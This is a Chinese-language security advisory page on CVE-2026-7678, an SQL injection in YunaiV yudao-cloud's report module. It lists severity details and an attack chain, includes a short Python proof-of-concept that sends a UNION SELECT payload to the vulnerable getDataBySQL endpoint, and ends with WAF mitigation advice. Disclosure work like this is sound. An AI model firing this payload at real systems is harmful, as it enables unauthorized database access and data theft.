IPBUF安全漏洞报告
English
CVE-2026-7678 CVSS 6.3 中危

CVE-2026-7678 yudao-cloud SQL注入漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7678
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
YunaiV yudao-cloud

相关标签

SQL注入YunaiVyudao-cloudCVE-2026-7678远程代码执行

漏洞概述

YunaiV yudao-cloud 2026.01及之前版本存在SQL注入漏洞。由于GoViewDataServiceImpl.java文件中的getDataBySQL函数未对用户输入进行有效过滤,攻击者可远程构造恶意SQL语句并执行。此漏洞可能导致敏感数据泄露、数据篡改及服务中断,且利用代码已公开。

技术细节

该漏洞位于yudao-module-report-biz模块的GoViewDataServiceImpl.java文件中。由于getDataBySQL方法在处理用户请求时,未对传入的SQL参数进行严格的类型检查和安全过滤,直接将其拼接到SQL语句中执行。这导致了经典的SQL注入漏洞。攻击者无需用户交互,仅需低权限账号即可通过网络发起攻击。利用该漏洞,攻击者可以执行任意SQL查询,导致数据库敏感信息泄露、数据被篡改或删除,甚至在某些情况下可能影响服务器的可用性。鉴于漏洞利用代码已公开,风险极高。

攻击链分析

STEP 1
1. 侦察
攻击者识别目标系统运行的是YunaiV yudao-cloud,并确定其版本在2026.01及以下。
STEP 2
2. 定位接口
攻击者发现暴露的API接口,该接口映射到GoViewDataServiceImpl类的getDataBySQL方法。
STEP 3
3. 构造载荷
攻击者构造包含恶意SQL代码的JSON数据包,旨在绕过简单的验证并注入SQL语句。
STEP 4
4. 执行攻击
攻击者发送恶意请求到服务器,服务器执行注入的SQL语句,返回敏感数据或修改数据库记录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL vulnerable endpoint # Based on the file path, likely a report generation API target_url = "http://vulnerable-host:8080/admin-api/report/go-view/getDataBySQL" # Malicious payload to inject SQL # Attempting to extract database version or bypass login payload = { "sql": "SELECT * FROM sys_user WHERE id = 1 UNION SELECT NULL, version(), NULL, NULL-- -" } try: # Send POST request with the malicious payload response = requests.post(target_url, json=payload, timeout=5) # Check if the request was successful if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] An error occurred:", e)

影响范围

YunaiV yudao-cloud <= 2026.01

防御指南

临时缓解措施
在官方修复补丁发布前,建议在WAF(Web应用防火墙)层面对相关接口的请求参数进行SQL注入规则拦截,或暂时禁用受影响的功能模块以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表